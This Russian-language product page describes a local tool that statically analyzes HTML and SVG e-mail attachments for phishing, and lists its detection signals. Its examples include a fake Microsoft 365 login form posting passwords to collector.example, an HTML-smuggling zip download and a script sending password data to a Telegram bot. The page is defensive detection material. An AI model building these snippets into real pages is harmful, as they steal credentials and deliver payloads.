Файлы и страницы

Анализатор HTML-вложений

Работает локальноНовый

Сам инструмент доступен на английском языке; на этой странице приведено его описание на вашем языке.

Используйте Анализатор HTML-вложений

Для чего это нужно

Загрузите или вставьте HTML- или SVG-вложение, чтобы увидеть, что оно сделало бы при открытии: скрытые загрузки, формы, отправляющие пароль на другой сайт, перенаправления, адреса для вывода данных и обфусцированный код. Файл читается как текст и никогда не отрисовывается и не запускается.

Приложение работает полностью в браузере: никакие введенные вами данные не передаются на сервер.

Как использовать Анализатор HTML-вложений

  1. Не открывайте файл. Сохраните вложение .html, .htm, .shtml, .xhtml или .svg, не открывая его, или скопируйте его исходный код как текст.
  2. Загрузите или вставьте его. Перетащите файл на поле или выберите его (до 25 МБ) либо вставьте исходный код (до 5 МБ) и нажмите Analyze или Ctrl+Enter.
  3. Прочитайте вердикт. Верхний блок показывает High risk, Suspicious или No high-risk patterns found, а также категории, на которых основан вердикт, и число находок, IOC и встроенных блобов.
  4. Просмотрите находки. Каждая находка показывает уровень серьёзности, категорию, номер строки и соответствующий фрагмент кода; ссылки и адреса обезврежены.
  5. Экспортируйте найденное. Скопируйте IOC в обезвреженном или исходном виде или используйте Send to для IOC Converter, Abuse Report Generator или, для встроенного блоба, Multi-Layer Decoder.

Пример

Форма входа с подставленным адресом

Ввод
<title>Sign in to Microsoft 365</title>
<form action="https://collector.example/login" method="post">
<input type="email" name="u"> <input type="password" name="p">
<button>Sign in</button></form>
<script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Результат (зафиксировано 2026-10-20)
High risk: techniques used by phishing and malware attachments

Credential harvesting

1 high, 3 medium, 1 low · 2 IOCs · 0 embedded blobs

FILE
pasted source
SIZE
271 B · 5 lines
PAGE TITLE
Sign in to Microsoft 365

This file builds or hides code at run time. For deobfuscation and sandboxed emulation use JS Analyzer.

Findings
High
Login form sends the password to another site (collector[.]example)
Credential harvesting · line 2
<title>Sign in to Microsoft 365</title> <form action="hxxps://collector[.]example/login" method="post"> <input type="email" name="u"> <input type="password" name="…
Medium
Decodes Base64 at run time (atob)
Obfuscation · line 5
…Sign in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Medium
Brand on a page with a password field: Microsoft / Office 365
Brand hints
Medium
Password field
Credential harvesting · line 3
…example/login" method="post"> <input type="email" name="u"> <input type="password" name="p"> <button>Sign in</button></form> <script>document.forms[0].u…
Low
Reads the URL fragment (often the victim’s e-mail to pre-fill)
Redirects · line 5
…in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Forms
SENDS TO	METHOD	FIELDS	LINE
hxxps://collector[.]example/login external Copy	POST	email u, password p, submit password	2
Requests and redirects with a literal target
VIA	TARGET	LINE
form	hxxps://collector[.]example/login other site	2
IOCs
URLs (1)
hxxps://collector[.]example/login

Domains (1)
collector[.]example
Copy IOCs (defanged)
Copy IOCs (raw)

Static
…

Высокий риск: форма входа отправляет пароль на collector[.]example, в заголовке упоминается Microsoft 365 рядом с полем пароля, а скрипт подставляет адрес электронной почты из фрагмента URL с помощью atob. Список IOC содержит URL сборщика и его домен в обезвреженном виде.

Что проверяется

СигналЧто это означает
HTML smugglingВысокий уровень, если страница собирает файл в памяти (Blob с createObjectURL или ссылкой на скачивание либо msSaveOrOpenBlob) и предлагает его скачать.
ФормыЛюбая форма, отправляющая данные на другой сайт, получает высокий уровень, а в заголовке находки указывается, если в ней есть пароль. Таблица Forms показывает, куда отправляет данные каждая форма, её метод и поля.
Адреса для вывода данныхВызовы Telegram Bot API, токены ботов, вебхуки Discord и сервисы сбора форм вроде formspree.io или webhook.site получают высокий уровень.
Обфускацияatob, unescape, fromCharCode, длинные последовательности escape-кодов и результат работы известных обфускаторов. Закодированные строковые литералы декодируются без выполнения.
Динамический кодeval, конструктор Function, document.write и присваивания innerHTML строят код или разметку во время выполнения.
ПеренаправленияИзменения location, window.open, meta refresh и чтение фрагмента URL, через который фишинг-киты часто передают адрес электронной почты жертвы.
Защита от анализаБлокировка правого клика или F12, операторы debugger, обнаружение инструментов разработчика и проверки на автоматизированные браузеры.
Встроенное содержимоеdata: URI, длинные блобы Base64 или hex и тип файла, в который они декодируются, скрытые iframe и SVG-файлы со скриптами.
Признаки брендаНазвания брендов в заголовке, логотипах или ссылках. Рядом с полем пароля это получает средний уровень.

Еще примеры

Загрузка, собранная в браузере

Ввод
<script>
var b = new Blob([atob("UEsFBgAAAAAAAAAAAAAAAAAAAAAAAA==")], {type: "application/zip"});
var a = document.createElement("a");
a.href = URL.createObjectURL(b);
a.download = "invoice.zip";
a.click();
</script>
Результат

High risk, причина — HTML smuggling: 1 находка высокого уровня (страница собирает файл в браузере и предлагает его скачать) и 4 среднего — для atob, new Blob, URL.createObjectURL и атрибута download. IOC нет.

Пароль, отправляемый Telegram-боту

Ввод
<form id="f"><input type="password" name="p"></form>
<script>fetch("https://api.telegram.org/bot<TOKEN>/sendMessage", {method: "POST", body: new FormData(document.getElementById("f"))});</script>
Результат

High risk, причина — Data exfiltration: скрипт отправляет данные со страницы с полем пароля на api.telegram.org, плюс находка об адресе Telegram Bot API. Находки среднего уровня касаются fetch, поля пароля и формы входа без внешнего action.

SVG-изображение с перенаправлением

Ввод
<svg xmlns="http://www.w3.org/2000/svg"><script>window.location.href = "https://login.example.net/?e=" + btoa("user@example.com");</script></svg>
Результат

High risk: SVG-файл со скриптом, а также перенаправление среднего уровня и находка низкого уровня о btoa. Цель показана в разделе Requests and redirects как другой сайт, а URL пространства имён XML не включается в IOC.

Часто задаваемые вопросы

Что ищет анализатор?

Он сверяет исходный код с правилами для HTML smuggling (Blob, createObjectURL, msSaveOrOpenBlob, ссылки на скачивание, data: URI и длинные Base64-блобы), форм и скриптов, отправляющих данные на другие сайты, вывода данных через Telegram и Discord, перенаправлений, скрытых iframe, обфускаторов и приёмов против анализа. Он также декодирует литералы atob, unescape и fromCharCode, не выполняя их, и выводит все найденные URL, домены, IP-адреса и адреса электронной почты в обезвреженном виде.

Может ли он что-то пропустить или поднять ложную тревогу?

Да. Зашифрованный или генерируемый во время выполнения код может скрыть своё поведение от статической проверки, а обычные страницы тоже используют fetch, innerHTML или встроенные изображения, поэтому читайте фрагмент кода, показанный рядом с каждой находкой. Для деобфускации и эмуляции в песочнице используйте JS Analyzer.

Загружается или открывается ли файл?

Нет. Файл читается как текст в вашем браузере и никогда не отрисовывается, не выполняется и никуда не отправляется. Принимаются файлы до 25 МБ; в очень больших файлах проверяются первые 4 МБ и последний 1 МБ разметки, а встроенные блобы подсчитываются по всему файлу.

Почему SVG-изображение проверяется как веб-страница?

SVG-файлы — это XML, который браузеры открывают как страницы, поэтому они могут содержать скрипты, ссылки и встроенный HTML. Изображению скрипт не нужен, поэтому скрипт внутри SVG получает высокий уровень.

Что такое встроенные блобы?

Длинные строки Base64, hex или массивы байтов внутри файла. Они декодируются в памяти и помечаются типом файла, в который превращаются; блоб можно скопировать, а текстовый блоб — отправить в Multi-Layer Decoder.

Что означают уровни серьёзности?

High отмечает схемы, на которые опираются фишинговые и вредоносные вложения: smuggling, адреса для вывода данных или форму с паролем, отправляющую данные на другой сайт. Medium охватывает приёмы, которые используют и обычные страницы. Одной находки уровня High достаточно для вердикта High risk.

Пояснение терминов

Исследование PhishDestroy